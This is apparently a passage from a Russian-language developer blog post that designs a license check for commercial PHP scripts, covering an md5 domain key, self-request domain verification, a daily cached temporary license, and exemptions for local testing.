Я создаю ключ к домену приблизительно таким образом:
$key = md5($domain.$secretword);
Cкрипт проверяет свою лицензию так:
$key == md5($domain.$secretword);
Действительно, некрасиво хранить $secretword в самих скриптах. Поэтому здесь можно использовать шифрование с открытым ключом. При выдаче лицензии я буду подписывать ее своим закрытым ключем, а скрипт, при проверке лицензии, открытым ключем будет проверять действительность лицензии. Но я не нашел в стандартном комплекте PHP никаких функций шифрования с открытым ключом, даже RSA (я слепой?). Если поможете — буду благодарен.
Итак, скрипт проверил правильность лицензии. То есть, подходит ли указанный ключ к указанному домену. Идем дальше.
2. Проверка домена
Как скрипт может проверить, лежит ли он на указанном домене? У нас нет доверия к $_SERVER['HTTP_HOST'].
Так же, по условиям — никаких коннектов на другой сервер. Значит, коннектимся сами к себе по предполагаемому домену, и проверяем мы ли там находимся smile
А точнее:
1) сохраняем случайное число на сервре (например, во временном файле)
2) обращаемся по адресу наш_домен.ру/наш_скрипт.php?action=скажи_число
3) проверяем, какое число нам отдают по этому адресу. Если оно соответсвует тому, что мы сохранили, значит, по адресу находимся мы smile
0) нулевым пунктом надо добавить отдачу сохраненного числа, если нас вызвали с параметром action=скажи_число
Я немного упростил алгоритм, на самом деле для каждого обращения к скрипту нужно отдельно учитывать эти случайные числа.
Теперь скрипт знает, что лицензия действительна, и что он лежит на соответствующем домене. Основная задача решена!
Вы скажите — wtf, скрипт при каждом обращении будет дергать сам себя? Действительно, жестоко как-то. Поэтому:
3. Временная лицензия
При первом обращении, если проверка прошла успешно, скрипт сохраняет во временном файле временную лицензию.
Временная лицензия представляет собой что-то ноподобие md5(сегодняшняя_дата, домен, секретное слово).
Теперь при каждом запросе мы проверяем только временную лицензию, которая действительна в течение дня. Как только со временной лицензией что-то неладное (поменяли, удалили, прошли сутки) — скрипт опять проверит всё серьезно и сохранит новую временную лицензию.
4. Выполнение скрипта на локальном компьютере без лицензии
Было бы идеально, если бы скрипт не требовал лицензии при запуске на локальном компьютере. Зачем, спрашивается, человеку требовать с меня лицензию, если он просто хочет протестировать скрипт на своем компьютере? Он должен скачать его, и пользоваться. А вот когда он поставит скрипт на сервер, тогда и прийдет ко мне.
Я не знаю как решить эту задачу. У меня пока есть 3 варианта решения, но они мне не нравятся:
1) Если скрипт лежит на домене без точек (типа http://myscript/) — считать, что это виртуальный домен, значит, скорее всего, это локальное тестирование. Недостаток этого метода — умельцы создадут виртуальный домен на своем сервере, а настоящий домен сделают синонимом. Так же, непонятно что делать с доменом localhost.
2) Проверка $_SERVER["REMOTE_ADDR"]. Проверяем наличие '127' в начале ip-адреса. Недостаток — можно переопределить эту переменную перед выполнением скрипта.
3) Смешно, но можно проверить операционную систему сервера. И разрешить выполнение под Windows. Только не бейте меня, это всего лишь вариант.
Облако тегов / Авторы